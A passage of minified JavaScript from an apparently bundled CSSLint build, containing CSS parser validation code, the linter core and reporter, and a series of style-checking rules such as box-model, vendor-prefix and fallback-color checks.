LASH",text:"/"},{name:"MINUS",text:"-"},{name:"STAR",text:"*"},{name:"LBRACE",endChar:"}",text:"{"},{name:"RBRACE",text:"}"},{name:"LBRACKET",endChar:"]",text:"["},{name:"RBRACKET",text:"]"},{name:"EQUALS",text:"="},{name:"COLON",text:":"},{name:"SEMICOLON",text:";"},{name:"LPAREN",endChar:")",text:"("},{name:"RPAREN",text:")"},{name:"DOT",text:"."}];(function(){var e=[],t={};Tokens.UNKNOWN=-1,Tokens.unshift({name:"EOF"});for(var i=0,n=Tokens.length;n>i;i++)if(e.push(Tokens[i].name),Tokens[Tokens[i].name]=i,Tokens[i].text)if(Tokens[i].text instanceof Array)for(var r=0;Tokens[i].text.length>r;r++)t[Tokens[i].text[r]]=i;else t[Tokens[i].text]=i;Tokens.name=function(t){return e[t]},Tokens.type=function(e){return t[e]||-1}})();var Validation={validate:function(e,t){var i=(""+e).toLowerCase(),n=(t.parts,new PropertyValueIterator(t)),r=Properties[i];if(r)"number"!=typeof r&&("string"==typeof r?r.indexOf("||")>-1?this.groupProperty(r,n):this.singleProperty(r,n,1):r.multi?this.multiProperty(r.multi,n,r.comma,r.max||1/0):"function"==typeof r&&r(n));else if(0!==i.indexOf("-"))throw new ValidationError("Unknown property '"+e+"'.",e.line,e.col)},singleProperty:function(e,t,i){for(var n,r=!1,o=t.value,s=0;t.hasNext()&&i>s&&(r=ValidationTypes.isAny(t,e));)s++;if(!r)throw t.hasNext()&&!t.isFirst()?(n=t.peek(),new ValidationError("Expected end of value but found '"+n+"'.",n.line,n.col)):new ValidationError("Expected ("+e+") but found '"+o+"'.",o.line,o.col);if(t.hasNext())throw n=t.next(),new ValidationError("Expected end of value but found '"+n+"'.",n.line,n.col)},multiProperty:function(e,t,i,n){for(var r,o=!1,s=t.value,a=0;t.hasNext()&&!o&&n>a&&ValidationTypes.isAny(t,e);)if(a++,t.hasNext()){if(i){if(","!=t.peek())break;r=t.next()}}else o=!0;if(!o)throw t.hasNext()&&!t.isFirst()?(r=t.peek(),new ValidationError("Expected end of value but found '"+r+"'.",r.line,r.col)):(r=t.previous(),i&&","==r?new ValidationError("Expected end of value but found '"+r+"'.",r.line,r.col):new ValidationError("Expected ("+e+") but found '"+s+"'.",s.line,s.col));if(t.hasNext())throw r=t.next(),new ValidationError("Expected end of value but found '"+r+"'.",r.line,r.col)},groupProperty:function(e,t){for(var i,n,r=!1,o=t.value,s=e.split("||").length,a={count:0},l=!1;t.hasNext()&&!r&&(i=ValidationTypes.isAnyOfGroup(t,e))&&!a[i];)a[i]=1,a.count++,l=!0,a.count!=s&&t.hasNext()||(r=!0);if(!r)throw l&&t.hasNext()?(n=t.peek(),new ValidationError("Expected end of value but found '"+n+"'.",n.line,n.col)):new ValidationError("Expected ("+e+") but found '"+o+"'.",o.line,o.col);if(t.hasNext())throw n=t.next(),new ValidationError("Expected end of value but found '"+n+"'.",n.line,n.col)}};ValidationError.prototype=Error();var ValidationTypes={isLiteral:function(e,t){var i,n,r=(""+e.text).toLowerCase(),o=t.split(" | "),s=!1;for(i=0,n=o.length;n>i&&!s;i++)r==o[i].toLowerCase()&&(s=!0);return s},isSimple:function(e){return!!this.simple[e]},isComplex:function(e){return!!this.complex[e]},isAny:function(e,t){var i,n,r=t.split(" | "),o=!1;for(i=0,n=r.length;n>i&&!o&&e.hasNext();i++)o=this.isType(e,r[i]);return o},isAnyOfGroup:function(e,t){var i,n,r=t.split(" || "),o=!1;for(i=0,n=r.length;n>i&&!o;i++)o=this.isType(e,r[i]);return o?r[i-1]:!1},isType:function(e,t){var i=e.peek(),n=!1;return"<"!=t.charAt(0)?(n=this.isLiteral(i,t),n&&e.next()):this.simple[t]?(n=this.simple[t](i),n&&e.next()):n=this.complex[t](e),n},simple:{"<absolute-size>":function(e){return ValidationTypes.isLiteral(e,"xx-small | x-small | small | medium | large | x-large | xx-large")},"<attachment>":function(e){return ValidationTypes.isLiteral(e,"scroll | fixed | local")},"<attr>":function(e){return"function"==e.type&&"attr"==e.name},"<bg-image>":function(e){return this["<image>"](e)||this["<gradient>"](e)||"none"==e},"<gradient>":function(e){return"function"==e.type&&/^(?:\-(?:ms|moz|o|webkit)\-)?(?:repeating\-)?(?:radial\-|linear\-)?gradient/i.test(e)},"<box>":function(e){return ValidationTypes.isLiteral(e,"padding-box | border-box | content-box")},"<content>":function(e){return"function"==e.type&&"content"==e.name},"<relative-size>":function(e){return ValidationTypes.isLiteral(e,"smaller | larger")},"<ident>":function(e){return"identifier"==e.type},"<length>":function(e){return"function"==e.type&&/^(?:\-(?:ms|moz|o|webkit)\-)?calc/i.test(e)?!0:"length"==e.type||"number"==e.type||"integer"==e.type||"0"==e},"<color>":function(e){return"color"==e.type||"transparent"==e},"<number>":function(e){return"number"==e.type||this["<integer>"](e)},"<integer>":function(e){return"integer"==e.type},"<line>":function(e){return"integer"==e.type},"<angle>":function(e){return"angle"==e.type},"<uri>":function(e){return"uri"==e.type},"<image>":function(e){return this["<uri>"](e)},"<percentage>":function(e){return"percentage"==e.type||"0"==e},"<border-width>":function(e){return this["<length>"](e)||ValidationTypes.isLiteral(e,"thin | medium | thick")},"<border-style>":function(e){return ValidationTypes.isLiteral(e,"none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset")},"<content-sizing>":function(e){return ValidationTypes.isLiteral(e,"fill-available | -moz-available | -webkit-fill-available | max-content | -moz-max-content | -webkit-max-content | min-content | -moz-min-content | -webkit-min-content | fit-content | -moz-fit-content | -webkit-fit-content")},"<margin-width>":function(e){return this["<length>"](e)||this["<percentage>"](e)||ValidationTypes.isLiteral(e,"auto")},"<padding-width>":function(e){return this["<length>"](e)||this["<percentage>"](e)},"<shape>":function(e){return"function"==e.type&&("rect"==e.name||"inset-rect"==e.name)},"<time>":function(e){return"time"==e.type},"<flex-grow>":function(e){return this["<number>"](e)},"<flex-shrink>":function(e){return this["<number>"](e)},"<width>":function(e){return this["<margin-width>"](e)},"<flex-basis>":function(e){return this["<width>"](e)},"<flex-direction>":function(e){return ValidationTypes.isLiteral(e,"row | row-reverse | column | column-reverse")},"<flex-wrap>":function(e){return ValidationTypes.isLiteral(e,"nowrap | wrap | wrap-reverse")}},complex:{"<bg-position>":function(e){for(var t=!1,i="<percentage> | <length>",n="left | right",r="top | bottom",o=0;e.peek(o)&&","!=e.peek(o);)o++;return 3>o?ValidationTypes.isAny(e,n+" | center | "+i)?(t=!0,ValidationTypes.isAny(e,r+" | center | "+i)):ValidationTypes.isAny(e,r)&&(t=!0,ValidationTypes.isAny(e,n+" | center")):ValidationTypes.isAny(e,n)?ValidationTypes.isAny(e,r)?(t=!0,ValidationTypes.isAny(e,i)):ValidationTypes.isAny(e,i)&&(ValidationTypes.isAny(e,r)?(t=!0,ValidationTypes.isAny(e,i)):ValidationTypes.isAny(e,"center")&&(t=!0)):ValidationTypes.isAny(e,r)?ValidationTypes.isAny(e,n)?(t=!0,ValidationTypes.isAny(e,i)):ValidationTypes.isAny(e,i)&&(ValidationTypes.isAny(e,n)?(t=!0,ValidationTypes.isAny(e,i)):ValidationTypes.isAny(e,"center")&&(t=!0)):ValidationTypes.isAny(e,"center")&&ValidationTypes.isAny(e,n+" | "+r)&&(t=!0,ValidationTypes.isAny(e,i)),t},"<bg-size>":function(e){var t=!1,i="<percentage> | <length> | auto";return ValidationTypes.isAny(e,"cover | contain")?t=!0:ValidationTypes.isAny(e,i)&&(t=!0,ValidationTypes.isAny(e,i)),t},"<repeat-style>":function(e){var t,i=!1,n="repeat | space | round | no-repeat";return e.hasNext()&&(t=e.next(),ValidationTypes.isLiteral(t,"repeat-x | repeat-y")?i=!0:ValidationTypes.isLiteral(t,n)&&(i=!0,e.hasNext()&&ValidationTypes.isLiteral(e.peek(),n)&&e.next())),i},"<shadow>":function(e){var t=!1,i=0,n=!1,r=!1;if(e.hasNext()){for(ValidationTypes.isAny(e,"inset")&&(n=!0),ValidationTypes.isAny(e,"<color>")&&(r=!0);ValidationTypes.isAny(e,"<length>")&&4>i;)i++;e.hasNext()&&(r||ValidationTypes.isAny(e,"<color>"),n||ValidationTypes.isAny(e,"inset")),t=i>=2&&4>=i}return t},"<x-one-radius>":function(e){var t=!1,i="<length> | <percentage> | inherit";return ValidationTypes.isAny(e,i)&&(t=!0,ValidationTypes.isAny(e,i)),t},"<flex>":function(e){var t,i=!1;if(ValidationTypes.isAny(e,"none | inherit")?i=!0:ValidationTypes.isType(e,"<flex-grow>")?e.peek()?ValidationTypes.isType(e,"<flex-shrink>")?i=e.peek()?ValidationTypes.isType(e,"<flex-basis>"):!0:ValidationTypes.isType(e,"<flex-basis>")&&(i=null===e.peek()):i=!0:ValidationTypes.isType(e,"<flex-basis>")&&(i=!0),!i)throw t=e.peek(),new ValidationError("Expected (none | [ <flex-grow> <flex-shrink>? || <flex-basis> ]) but found '"+e.value.text+"'.",t.line,t.col);return i}}};parserlib.css={Colors:Colors,Combinator:Combinator,Parser:Parser,PropertyName:PropertyName,PropertyValue:PropertyValue,PropertyValuePart:PropertyValuePart,MediaFeature:MediaFeature,MediaQuery:MediaQuery,Selector:Selector,SelectorPart:SelectorPart,SelectorSubPart:SelectorSubPart,Specificity:Specificity,TokenStream:TokenStream,Tokens:Tokens,ValidationError:ValidationError}}(),function(){for(var e in parserlib)exports[e]=parserlib[e]}();var util={isArray:function(e){return Array.isArray(e)||"object"==typeof e&&"[object Array]"===objectToString(e)},isDate:function(e){return"object"==typeof e&&"[object Date]"===objectToString(e)},isRegExp:function(e){return"object"==typeof e&&"[object RegExp]"===objectToString(e)},getRegExpFlags:function(e){var t="";return e.global&&(t+="g"),e.ignoreCase&&(t+="i"),e.multiline&&(t+="m"),t}};"object"==typeof module&&(module.exports=clone),clone.clonePrototype=function(e){if(null===e)return null;var t=function(){};return t.prototype=e,new t};var CSSLint=function(){function e(e,t){var i,r=e&&e.match(n),o=r&&r[1];return o&&(i={"true":2,"":1,"false":0,2:2,1:1,0:0},o.toLowerCase().split(",").forEach(function(e){var n=e.split(":"),r=n[0]||"",o=n[1]||"";t[r.trim()]=i[o.trim()]})),t}var t=[],i=[],n=/\/\*csslint([^\*]*)\*\//,r=new parserlib.util.EventTarget;return r.version="@VERSION@",r.addRule=function(e){t.push(e),t[e.id]=e},r.clearRules=function(){t=[]},r.getRules=function(){return[].concat(t).sort(function(e,t){return e.id>t.id?1:0})},r.getRuleset=function(){for(var e={},i=0,n=t.length;n>i;)e[t[i++].id]=1;return e},r.addFormatter=function(e){i[e.id]=e},r.getFormatter=function(e){return i[e]},r.format=function(e,t,i,n){var r=this.getFormatter(i),o=null;return r&&(o=r.startFormat(),o+=r.formatResults(e,t,n||{}),o+=r.endFormat()),o},r.hasFormat=function(e){return i.hasOwnProperty(e)},r.verify=function(i,r){var o,s,a,l=0,c=new parserlib.css.Parser({starHack:!0,ieFilters:!0,underscoreHack:!0,strict:!1});s=i.replace(/\n\r?/g,"$split$").split("$split$"),r||(r=this.getRuleset()),n.test(i)&&(r=clone(r),r=e(i,r)),o=new Reporter(s,r),r.errors=2;for(l in r)r.hasOwnProperty(l)&&r[l]&&t[l]&&t[l].init(c,o);try{c.parse(i)}catch(h){o.error("Fatal error, cannot continue: "+h.message,h.line,h.col,{})}return a={messages:o.messages,stats:o.stats,ruleset:o.ruleset},a.messages.sort(function(e,t){return e.rollup&&!t.rollup?1:!e.rollup&&t.rollup?-1:e.line-t.line}),a},r}();Reporter.prototype={constructor:Reporter,error:function(e,t,i,n){this.messages.push({type:"error",line:t,col:i,message:e,evidence:this.lines[t-1],rule:n||{}})},warn:function(e,t,i,n){this.report(e,t,i,n)},report:function(e,t,i,n){this.messages.push({type:2===this.ruleset[n.id]?"error":"warning",line:t,col:i,message:e,evidence:this.lines[t-1],rule:n})},info:function(e,t,i,n){this.messages.push({type:"info",line:t,col:i,message:e,evidence:this.lines[t-1],rule:n})},rollupError:function(e,t){this.messages.push({type:"error",rollup:!0,message:e,rule:t})},rollupWarn:function(e,t){this.messages.push({type:"warning",rollup:!0,message:e,rule:t})},stat:function(e,t){this.stats[e]=t}},CSSLint._Reporter=Reporter,CSSLint.Util={mix:function(e,t){var i;for(i in t)t.hasOwnProperty(i)&&(e[i]=t[i]);return i},indexOf:function(e,t){if(e.indexOf)return e.indexOf(t);for(var i=0,n=e.length;n>i;i++)if(e[i]===t)return i;return-1},forEach:function(e,t){if(e.forEach)return e.forEach(t);for(var i=0,n=e.length;n>i;i++)t(e[i],i,e)}},CSSLint.addRule({id:"adjoining-classes",name:"Disallow adjoining classes",desc:"Don't use adjoining classes.",browsers:"IE6",init:function(e,t){var i=this;e.addListener("startrule",function(n){var r,o,s,a,l,c,h,u=n.selectors;for(l=0;u.length>l;l++)for(r=u[l],c=0;r.parts.length>c;c++)if(o=r.parts[c],o.type===e.SELECTOR_PART_TYPE)for(a=0,h=0;o.modifiers.length>h;h++)s=o.modifiers[h],"class"===s.type&&a++,a>1&&t.report("Don't use adjoining classes.",o.line,o.col,i)})}}),CSSLint.addRule({id:"box-model",name:"Beware of broken box size",desc:"Don't use width or height when using padding or border.",browsers:"All",init:function(e,t){function i(){r={},l=!1}function n(){var e,i;if(!l){if(r.height)for(e in a)a.hasOwnProperty(e)&&r[e]&&(i=r[e].value,("padding"!==e||2!==i.parts.length||0!==i.parts[0].value)&&t.report("Using height with "+e+" can sometimes make elements larger than you expect.",r[e].line,r[e].col,o));if(r.width)for(e in s)s.hasOwnProperty(e)&&r[e]&&(i=r[e].value,("padding"!==e||2!==i.parts.length||0!==i.parts[1].value)&&t.report("Using width with "+e+" can sometimes make elements larger than you expect.",r[e].line,r[e].col,o))}}var r,o=this,s={border:1,"border-left":1,"border-right":1,padding:1,"padding-left":1,"padding-right":1},a={border:1,"border-bottom":1,"border-top":1,padding:1,"padding-bottom":1,"padding-top":1},l=!1;e.addListener("startrule",i),e.addListener("startfontface",i),e.addListener("startpage",i),e.addListener("startpagemargin",i),e.addListener("startkeyframerule",i),e.addListener("property",function(e){var t=e.property.text.toLowerCase();a[t]||s[t]?/^0\S*$/.test(e.value)||"border"===t&&"none"==""+e.value||(r[t]={line:e.property.line,col:e.property.col,value:e.value}):/^(width|height)/i.test(t)&&/^(length|percentage)/.test(e.value.parts[0].type)?r[t]=1:"box-sizing"===t&&(l=!0)}),e.addListener("endrule",n),e.addListener("endfontface",n),e.addListener("endpage",n),e.addListener("endpagemargin",n),e.addListener("endkeyframerule",n)}}),CSSLint.addRule({id:"box-sizing",name:"Disallow use of box-sizing",desc:"The box-sizing properties isn't supported in IE6 and IE7.",browsers:"IE6, IE7",tags:["Compatibility"],init:function(e,t){var i=this;e.addListener("property",function(e){var n=e.property.text.toLowerCase();"box-sizing"===n&&t.report("The box-sizing property isn't supported in IE6 and IE7.",e.line,e.col,i)})}}),CSSLint.addRule({id:"bulletproof-font-face",name:"Use the bulletproof @font-face syntax",desc:"Use the bulletproof @font-face syntax to avoid 404's in old IE (http://www.fontspring.com/blog/the-new-bulletproof-font-face-syntax).",browsers:"All",init:function(e,t){var i,n,r=this,o=!1,s=!0,a=!1;e.addListener("startfontface",function(){o=!0}),e.addListener("property",function(e){if(o){var t=(""+e.property).toLowerCase(),r=""+e.value;if(i=e.line,n=e.col,"src"===t){var l=/^\s?url\(['"].+\.eot\?.*['"]\)\s*format\(['"]embedded-opentype['"]\).*$/i;!r.match(l)&&s?(a=!0,s=!1):r.match(l)&&!s&&(a=!1)}}}),e.addListener("endfontface",function(){o=!1,a&&t.report("@font-face declaration doesn't follow the fontspring bulletproof syntax.",i,n,r)})}}),CSSLint.addRule({id:"compatible-vendor-prefixes",name:"Require compatible vendor prefixes",desc:"Include all compatible vendor prefixes to reach a wider range of users.",browsers:"All",init:function(e,t){var i,n,r,o,s,a,l,c=this,h=!1,u=Array.prototype.push,d=[];i={animation:"webkit moz","animation-delay":"webkit moz","animation-direction":"webkit moz","animation-duration":"webkit moz","animation-fill-mode":"webkit moz","animation-iteration-count":"webkit moz","animation-name":"webkit moz","animation-play-state":"webkit moz","animation-timing-function":"webkit moz",appearance:"webkit moz","border-end":"webkit moz","border-end-color":"webkit moz","border-end-style":"webkit moz","border-end-width":"webkit moz","border-image":"webkit moz o","border-radius":"webkit","border-start":"webkit moz","border-start-color":"webkit moz","border-start-style":"webkit moz","border-start-width":"webkit moz","box-align":"webkit moz ms","box-direction":"webkit moz ms","box-flex":"webkit moz ms","box-lines":"webkit ms","box-ordinal-group":"webkit moz ms","box-orient":"webkit moz ms","box-pack":"webkit moz ms","box-sizing":"webkit moz","box-shadow":"webkit moz","column-count":"webkit moz ms","column-gap":"webkit moz ms","column-rule":"webkit moz ms","column-rule-color":"webkit moz ms","column-rule-style":"webkit moz ms","column-rule-width":"webkit moz ms","column-width":"webkit moz ms",hyphens:"epub moz","line-break":"webkit ms","margin-end":"webkit moz","margin-start":"webkit moz","marquee-speed":"webkit wap","marquee-style":"webkit wap","padding-end":"webkit moz","padding-start":"webkit moz","tab-size":"moz o","text-size-adjust":"webkit ms",transform:"webkit moz ms o","transform-origin":"webkit moz ms o",transition:"webkit moz o","transition-delay":"webkit moz o","transition-duration":"webkit moz o","transition-property":"webkit moz o","transition-timing-function":"webkit moz o","user-modify":"webkit moz","user-select":"webkit moz ms","word-break":"epub ms","writing-mode":"epub ms"};for(r in i)if(i.hasOwnProperty(r)){for(o=[],s=i[r].split(" "),a=0,l=s.length;l>a;a++)o.push("-"+s[a]+"-"+r);i[r]=o,u.apply(d,o)}e.addListener("startrule",function(){n=[]}),e.addListener("startkeyframes",function(e){h=e.prefix||!0}),e.addListener("endkeyframes",function(){h=!1}),e.addListener("property",function(e){var t=e.property;CSSLint.Util.indexOf(d,t.text)>-1&&(h&&"string"==typeof h&&0===t.text.indexOf("-"+h+"-")||n.push(t))}),e.addListener("endrule",function(){if(n.length){var e,r,o,s,a,l,h,u,d,g,f={};for(e=0,r=n.length;r>e;e++){o=n[e];for(s in i)i.hasOwnProperty(s)&&(a=i[s],CSSLint.Util.indexOf(a,o.text)>-1&&(f[s]||(f[s]={full:a.slice(0),actual:[],actualNodes:[]}),-1===CSSLint.Util.indexOf(f[s].actual,o.text)&&(f[s].actual.push(o.text),f[s].actualNodes.push(o))))}for(s in f)if(f.hasOwnProperty(s)&&(l=f[s],h=l.full,u=l.actual,h.length>u.length))for(e=0,r=h.length;r>e;e++)d=h[e],-1===CSSLint.Util.indexOf(u,d)&&(g=1===u.length?u[0]:2===u.length?u.join(" and "):u.join(", "),t.report("The property "+d+" is compatible with "+g+" and should be included as well.",l.actualNodes[0].line,l.actualNodes[0].col,c))}})}}),CSSLint.addRule({id:"display-property-grouping",name:"Require properties appropriate for display",desc:"Certain properties shouldn't be used with certain display property values.",browsers:"All",init:function(e,t){function i(e,i,n){o[e]&&("string"!=typeof a[e]||o[e].value.toLowerCase()!==a[e])&&t.report(n||e+" can't be used with display: "+i+".",o[e].line,o[e].col,s)}function n(){o={}}function r(){var e=o.display?o.display.value:null;if(e)switch(e){case"inline":i("height",e),i("width",e),i("margin",e),i("margin-top",e),i("margin-bottom",e),i("float",e,"display:inline has no effect on floated elements (but may be used to fix the IE6 double-margin bug).");break;case"block":i("vertical-align",e);break;case"inline-block":i("float",e);break;default:0===e.indexOf("table-")&&(i("margin",e),i("margin-left",e),i("margin-right",e),i("margin-top",e),i("margin-bottom",e),i("float",e))}}var o,s=this,a={display:1,"float":"none",height:1,width:1,margin:1,"margin-left":1,"margin-right":1,"margin-bottom":1,"margin-top":1,padding:1,"padding-left":1,"padding-right":1,"padding-bottom":1,"padding-top":1,"vertical-align":1};e.addListener("startrule",n),e.addListener("startfontface",n),e.addListener("startkeyframerule",n),e.addListener("startpagemargin",n),e.addListener("startpage",n),e.addListener("property",function(e){var t=e.property.text.toLowerCase();a[t]&&(o[t]={value:e.value.text,line:e.property.line,col:e.property.col})}),e.addListener("endrule",r),e.addListener("endfontface",r),e.addListener("endkeyframerule",r),e.addListener("endpagemargin",r),e.addListener("endpage",r)}}),CSSLint.addRule({id:"duplicate-background-images",name:"Disallow duplicate background images",desc:"Every background-image should be unique. Use a common class for e.g. sprites.",browsers:"All",init:function(e,t){var i=this,n={};e.addListener("property",function(e){var r,o,s=e.property.text,a=e.value;if(s.match(/background/i))for(r=0,o=a.parts.length;o>r;r++)"uri"===a.parts[r].type&&(n[a.parts[r].uri]===void 0?n[a.parts[r].uri]=e:t.report("Background image '"+a.parts[r].uri+"' was used multiple times, first declared at line "+n[a.parts[r].uri].line+", col "+n[a.parts[r].uri].col+".",e.line,e.col,i))})}}),CSSLint.addRule({id:"duplicate-properties",name:"Disallow duplicate properties",desc:"Duplicate properties must appear one after the other.",browsers:"All",init:function(e,t){function i(){n={}}var n,r,o=this;e.addListener("startrule",i),e.addListener("startfontface",i),e.addListener("startpage",i),e.addListener("startpagemargin",i),e.addListener("startkeyframerule",i),e.addListener("property",function(e){var i=e.property,s=i.text.toLowerCase();!n[s]||r===s&&n[s]!==e.value.text||t.report("Duplicate property '"+e.property+"' found.",e.line,e.col,o),n[s]=e.value.text,r=s})}}),CSSLint.addRule({id:"empty-rules",name:"Disallow empty rules",desc:"Rules without any properties specified should be removed.",browsers:"All",init:function(e,t){var i=this,n=0;e.addListener("startrule",function(){n=0}),e.addListener("property",function(){n++}),e.addListener("endrule",function(e){var r=e.selectors;0===n&&t.report("Rule is empty.",r[0].line,r[0].col,i)})}}),CSSLint.addRule({id:"errors",name:"Parsing Errors",desc:"This rule looks for recoverable syntax errors.",browsers:"All",init:function(e,t){var i=this; e.addListener("error",function(e){t.error(e.message,e.line,e.col,i)})}}),CSSLint.addRule({id:"fallback-colors",name:"Require fallback colors",desc:"For older browsers that don't support RGBA, HSL, or HSLA, provide a fallback color.",browsers:"IE6,IE7,IE8",init:function(e,t){function i(){r={},n=null}var n,r,o=this,s={color:1,background:1,"border-color":1,"border-top-color":1,"border-right-color":1,"border-bottom-color":1,"border-left-color":1,border:1,"border-top":1,"border-right":1,"border-bottom":1,"border-left":1,"background-color":1};e.addListener("startrule",i),e.addListener("startfontface",i),e.addListener("startpage",i),e.addListener("startpagemargin",i),e.addListener("startkeyframerule",i),e.addListener("property",function(e){var i=e.property,r=i.text.toLowerCase(),a=e.value.parts,l=0,c="",h=a.length;if(s[r])for(;h>l;)"color"===a[l].type&&("alpha"in a[l]||"hue"in a[l]?(/([^\)]+)\(/.test(a[l])&&(c=RegExp.$1.toUpperCase()),n&&n.property.text.toLowerCase()===r&&"compat"===n.colorType||t.report("Fallback "+r+" (hex or RGB) should precede "+c+" "+r+".",e.line,e.col,o)):e.colorType="compat"),l++;n=e})}}),CSSLint.addRule({id:"floats",name:"Disallow too many floats",desc:"This rule tests if the float property is used too many times",browsers:"All",init:function(e,t){var i=this,n=0;e.addListener("property",function(e){"float"===e.property.text.toLowerCase()&&"none"!==e.value.text.toLowerCase()&&n++}),e.addListener("endstylesheet",function(){t.stat("floats",n),n>=10&&t.rollupWarn("Too many floats ("+n+"), you're probably using them for layout. Consider using a grid system instead.",i)})}}),CSSLint.addRule({id:"font-faces",name:"Don't use too many web fonts",desc:"Too many different web fonts in the same stylesheet.",browsers:"All",init:function(e,t){var i=this,n=0;e.addListener("startfontface",function(){n++}),e.addListener("endstylesheet",function(){n>5&&t.rollupWarn("Too many @font-face declarations ("+n+").",i)})}}),CSSLint.addRule({id:"font-sizes",name:"Disallow too many font sizes",desc:"Checks the number of font-size declarations.",browsers:"All",init:function(e,t){var i=this,n=0;e.addListener("property",function(e){"font-size"==""+e.property&&n++}),e.addListener("endstylesheet",function(){t.stat("font-sizes",n),n>=10&&t.rollupWarn("Too many font-size declarations ("+n+"), abstraction needed.",i)})}}),CSSLint.addRule({id:"gradients",name:"Require all gradient definitions",desc:"When using a vendor-prefixed gradient, make sure to use them all.",browsers:"All",init:function(e,t){var i,n=this;e.addListener("startrule",function(){i={moz:0,webkit:0,oldWebkit:0,o:0}}),e.addListener("property",function(e){/\-(moz|o|webkit)(?:\-(?:linear|radial))\-gradient/i.test(e.value)?i[RegExp.$1]=1:/\-webkit\-gradient/i.test(e.value)&&(i.oldWebkit=1)}),e.addListener("endrule",function(e){var r=[];i.moz||r.push("Firefox 3.6+"),i.webkit||r.push("Webkit (Safari 5+, Chrome)"),i.oldWebkit||r.push("Old Webkit (Safari 4+, Chrome)"),i.o||r.push("Opera 11.1+"),r.length&&4>r.length&&t.report("Missing vendor-prefixed CSS gradients for "+r.join(", ")+".",e.selectors[0].line,e.selectors[0].col,n)})}}),CSSLint.addRule({id:"ids",name:"Disallow IDs in selectors",desc:"Selectors should not contain IDs.",browsers:"All",init:function(e,t){var i=this;e.addListener("startrule",function(n){var r,o,s,a,l,c,h,u=n.selectors;for(l=0;u.length>l;l++){for(r=u[l],a=0,c=0;r.parts.length>c;c++)if(o=r.parts[c],o.type===e.SELECTOR_PART_TYPE)for(h=0;o.modifiers.length>h;h++)s=o.modifiers[h],"id"===s.type&&a++;1===a?t.report("Don't use IDs in selectors.",r.line,r.col,i):a>1&&t.report(a+" IDs in the selector, really?",r.line,r.col,i)}})}}),CSSLint.addRule({id:"import",name:"Disallow @import",desc:"Don't use @import, use <link> instead.",browsers:"All",init:function(e,t){var i=this;e.addListener("import",function(e){t.report("@import prevents parallel downloads, use <link> instead.",e.line,e.col,i)})}}),CSSLint.addRule({id:"important",name:"Disallow !important",desc:"Be careful when using !important declaration",browsers:"All",init:function(e,t){var i=this,n=0;e.addListener("property",function(e){e.important===!0&&(n++,t.report("Use of !important",e.line,e.col,i))}),e.addListener("endstylesheet",function(){t.stat("important",n),n>=10&&t.rollupWarn("Too many !important declarations ("+n+"), try to use less than 10 to avoid specificity issues.",i)})}}),CSSLint.addRule({id:"known-properties",name:"Require use of known properties",desc:"Properties should be known (listed in CSS3 specification) or be a vendor-prefixed property.",browsers:"All",init:function(e,t){var i=this;e.addListener("property",function(e){e.invalid&&t.report(e.invalid.message,e.line,e.col,i)})}}),CSSLint.addRule({id:"order-alphabetical",name:"Alphabetical order",desc:"Assure properties are in alphabetical order",browsers:"All",init:function(e,t){var i,n=this,r=function(){i=[]};e.addListener("startrule",r),e.addListener("startfontface",r),e.addListener("startpage",r),e.addListener("startpagemargin",r),e.addListener("startkeyframerule",r),e.addListener("property",function(e){var t=e.property.text,n=t.toLowerCase().replace(/^-.*?-/,"");i.push(n)}),e.addListener("endrule",function(e){var r=i.join(","),o=i.sort().join(",");r!==o&&t.report("Rule doesn't have all its properties in alphabetical ordered.",e.line,e.col,n)})}}),CSSLint.addRule({id:"outline-none",name:"Disallow outline: none",desc:"Use of outline: none or outline: 0 should be limited to :focus rules.",browsers:"All",tags:["Accessibility"],init:function(e,t){function i(e){r=e.selectors?{line:e.line,col:e.col,selectors:e.selectors,propCount:0,outline:!1}:null}function n(){r&&r.outline&&(-1===(""+r.selectors).toLowerCase().indexOf(":focus")?t.report("Outlines should only be modified using :focus.",r.line,r.col,o):1===r.propCount&&t.report("Outlines shouldn't be hidden unless other visual changes are made.",r.line,r.col,o))}var r,o=this;e.addListener("startrule",i),e.addListener("startfontface",i),e.addListener("startpage",i),e.addListener("startpagemargin",i),e.addListener("startkeyframerule",i),e.addListener("property",function(e){var t=e.property.text.toLowerCase(),i=e.value;r&&(r.propCount++,"outline"!==t||"none"!=""+i&&"0"!=""+i||(r.outline=!0))}),e.addListener("endrule",n),e.addListener("endfontface",n),e.addListener("endpage",n),e.addListener("endpagemargin",n),e.addListener("endkeyframerule",n)}}),CSSLint.addRule({id:"overqualified-elements",name:"Disallow overqualified elements",desc:"Don't use classes or IDs with elements (a.foo or a#foo).",browsers:"All",init:function(e,t){var i=this,n={};e.addListener("startrule",function(r){var o,s,a,l,c,h,u=r.selectors;for(l=0;u.length>l;l++)for(o=u[l],c=0;o.parts.length>c;c++)if(s=o.parts[c],s.type===e.SELECTOR_PART_TYPE)for(h=0;s.modifiers.length>h;h++)a=s.modifiers[h],s.elementName&&"id"===a.type?t.report("Element ("+s+") is overqualified, just use "+a+" without element name.",s.line,s.col,i):"class"===a.type&&(n[a]||(n[a]=[]),n[a].push({modifier:a,part:s}))}),e.addListener("endstylesheet",function(){var e;for(e in n)n.hasOwnProperty(e)&&1===n[e].length&&n[e][0].part.elementName&&t.report("Element ("+n[e][0].part+") is overqualified, just use "+n[e][0].modifier+" without element name.",n[e][0].part.line,n[e][0].part.col,i)})}}),CSSLint.addRule({id:"qualified-headings",name:"Disallow qualified headings",desc:"Headings should not be qualified (namespaced).",browsers:"All",init:function(e,t){var i=this;e.addListener("startrule",function(n){var r,o,s,a,l=n.selectors;for(s=0;l.length>s;s++)for(r=l[s],a=0;r.parts.length>a;a++)o=r.parts[a],o.type===e.SELECTOR_PART_TYPE&&o.elementName&&/h[1-6]/.test(""+o.elementName)&&a>0&&t.report("Heading ("+o.elementName+") should not be qualified.",o.line,o.col,i)})}}),CSSLint.addRule({id:"regex-selectors",name:"Disallow selectors that look like regexs",desc:"Selectors that look like regular expressions are slow and should be avoided.",browsers:"All",init:function(e,t){var i=this;e.addListener("startrule",function(n){var r,o,s,a,l,c,h=n.selectors;for(a=0;h.length>a;a++)for(r=h[a],l=0;r.parts.length>l;l++)if(o=r.parts[l],o.type===e.SELECTOR_PART_TYPE)for(c=0;o.modifiers.length>c;c++)s=o.modifiers[c],"attribute"===s.type&&/([\~\|\^\$\*]=)/.test(s)&&t.report("Attribute selectors with "+RegExp.$1+" are slow!",s.line,s.col,i)})}}),CSSLint.addRule({id:"rules-count",name:"Rules Count",desc:"Track how many rules there are.",browsers:"All",init:function(e,t){var i=0;e.addListener("startrule",function(){i++}),e.addListener("endstylesheet",function(){t.stat("rule-count",i)})}}),CSSLint.addRule({id:"selector-max-approaching",name:"Warn when 